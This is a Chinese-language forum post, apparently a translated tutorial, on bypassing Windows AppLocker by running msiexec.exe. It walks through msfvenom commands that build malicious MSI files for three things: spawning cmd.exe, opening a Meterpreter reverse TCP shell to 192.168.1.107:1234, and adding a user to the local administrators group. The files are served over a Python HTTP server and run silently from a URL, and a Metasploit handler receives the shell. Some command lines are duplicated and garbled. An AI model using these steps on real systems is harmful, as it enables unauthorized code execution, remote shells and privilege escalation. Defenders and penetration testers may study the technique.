標題:使用msiexec.exe繞過應用程序白名單(多種方法)

taibeihacker

Moderator

0x00 前言​

在我們之前的文章中,我們討論了“Windows Applocker策略- 初學者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何繞過AppLocker策略。在本文中,我們使用Windows AppLocker策略阻止了“cmd.exe”文件,並嘗試繞過此限制以獲得命令提示。

0x01 Applocker适用的关联文件格式​

Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一種安全策略,用於限制不需要的程序的使用。在這種情況下,管理員可以限制以下程序的執行:
sexfbmyd2ll22924.png

這完全取決於系統管理員,為程序限製或執行設置AppLocker策略的程序或腳本。可能會出現命令提示符(cmd.exe)、PowerShell或dll文件或批處理文件、rundll32.exe、regsrv.32或regasm等被阻止的情況
funznu4p21c22926.png

0x02 挑战1:使用.msi文件绕过Applocker获取CMD​

假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。
那麼,您將如何使用一個msi文件來繞過這些限制並獲得一個完整的權限shell呢?

1.关于MSI文件的更多信息​

MSI名稱來自程序的原始標題Microsoft Installer。從那以後,名稱改為Windows Installer。 MSI文件擴展名文件是Windows軟件包安裝程序。安裝程序包中包含Windows Installer安裝或卸載應用程序所需的所有信息。每個安裝包都包含一個.msi文件,其中包含安裝數據庫、摘要信息流和安裝不同部分的數據流。
Windows Installer技術分為兩部分,它們結合使用,包括客戶端安裝程序服務(msiexec.exe)和Microsoft軟件安裝(msi)包文件。 Windows Installer使用包文件中包含的信息安裝該程序。
msiexec.exe程序是Windows Installer的組件。當安裝程序調用它時,msiexec.exe使用msi.dll讀取包(.msi)文件,應用任何轉換(.mst)文件,並合併安裝程序提供的命令行選項。安裝程序執行所有與安裝相關的任務,包括將文件複製到硬盤、修改註冊表、在桌面上創建快捷方式以及顯示對話框,以便在必要時提示用戶安裝首選項。
在計算機上安裝Windows Installer時,它會更改.msi文件的已註冊文件類型,以便在雙擊.msi文件時,Msiexec.exe將與該文件一起運行。
每個MSI包文件都包含一個關係型數據庫,該數據庫存儲在許多安裝腳步中安裝(和刪除)程序所需的指令和數據。

2.获取CMD的多种方法​

(1).第一种方法:使用msfvenom生成恶意.msi文件​

現在,讓我們在kali機器中打開一個新的終端,並生成一個惡意的msi包文件作為cmd.msi,通過使用windows/exec 執行exploit獲得命令提示,如下所示:msfvenom -p windows/exec CMD=cmd.exe -f msi cmd.msi
python -m SimpleHTTPServer 80
現在在Windows計算機中傳輸cmd.msi文件,以獲得命令提示符shell作為管理員。這裡我們使用了python http服務器來共享網絡中的文件。
r45ofklpjnc22927.png

在本地計算機上下載.msi文件後,可以使用以下語法在命令提示符下運行帶有msiexec.exe的msi文件。
语法:msiexec /quiet /imsiexec /quiet /i C:\Users\raj\Desktop\cmd.msi
5okdpfztudd22928.png

只要你在運行提示符中點擊上述命令,就會得到命令提示符。
f0jnvz45a0f22929.png

(2).第二种方法:使用msfvenom生成恶意.msi文件​

注意:即使您在另一個擴展名中重命名cmd.msi文件,它也會繞過該規則。
重複以上步驟,生成一個與msfvenom具有相同payload、並命名為cmd.png的msi文件。因為我的kali中已經有了一個cmd.msi文件,所以我將它重命名為cmd.png,並使用python服務器來傳輸它
bdzpkt5wiby22930.png

在本地計算機(管理員阻止cmd.exe的Windows操作系統)上下載cmd.png文件(實際上是.msi文件)後,就可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。
语法:msiexec /q /i
msiexec /q /i http://192.168.1.107/cmd.png
xdha5jp5f2v22931.png

只要你在運行提示符中點擊上述命令,就會得到命令提示符。
1ugictb0nyq22933.png

(3).第三种方法:使用msfvenom生成恶意.msi文件​

在上述方法中,我們通過使用windows/exec payload獲得命令提示符,但現在我們將使用windows/meterpreter/reverse_tcp payload通過meterpreter會話獲得完全權限的命令shell。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi shell.msi
現在再次在Windows計算機中傳輸shell.msi文件,以獲得命令提示符shell作為管理員並啟動multi/handler。這裡我們使用了python http服務器來共享網絡中的文件。
z2shtr1gyle22934.png

在本地計算機上下載了shell.msi文件(管理員阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。
语法:msiexec /q /i
msiexec /q /i http://192.168.1.107/shell.msi
4up223ckz1q22935.png

只要您在運行提示符中點擊上述命令,您將通過使用此payload的meterpreter會話獲得命令提示。
msf use exploit/multi/handler
msf exploit(handler) set payload windows/meterpreter/reverse_tcp
msf exploit(handler) set lhost 192.168.1.107
msf exploit(handler) set lport 1234
msf exploit(handler) exploit
meterpreter shell
gbe4mvi2hqy22936.png

0x03 挑战2:使管理员组的本地用户成员​

假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。
那么如何使用MSI文件绕过这些限制,使管理员组的本地用户成员阻止cmd.exe运行?注意:該aaru是本地用戶帳戶,不是非管理員用戶帳戶,如下所示:
4qw0hl1wbod22937.png

我們知道由於applocker執行規則策略,cmd.exe在本地計算機上被阻止,因此我們無法使用命令提示符在管理員組中添加aaru。
h1iai54mtx222939.png

(1).第四种方法:使用msfvenom生成恶意.msi文件​

使用Windows/Exec payload生成MSI包作為admin.msi,該payload發送一條命令,指示將用戶aaru的本地管理員權限添加到目標計算機中。
msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi admin.msi
現在,在Windows計算機中傳輸admin.msi文件以將aaru添加到管理員組中。這裡我們使用了python http服務器來共享網絡中的文件。
4bvwxjx32nq22940.png

下載完本地計算機的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內運行帶有msiexec.exe的admin.msi文件
语法:msiexec /q /imsiexec /q /i http://192.168.1.107/admin.msi
wtdearpi0kd22941.png

只要您在運行提示符中點擊上述命令,就可以確保aaru用戶已成為管理員帳戶的一部分。
auccthqzh4g22942.png

本文中我們將了解到,如何使用.msi文件來繞過操作系統策略限製而執行,在該系統中,cmd.exe和其他應用程序被管理員阻止。
参考文献:
 
返回
上方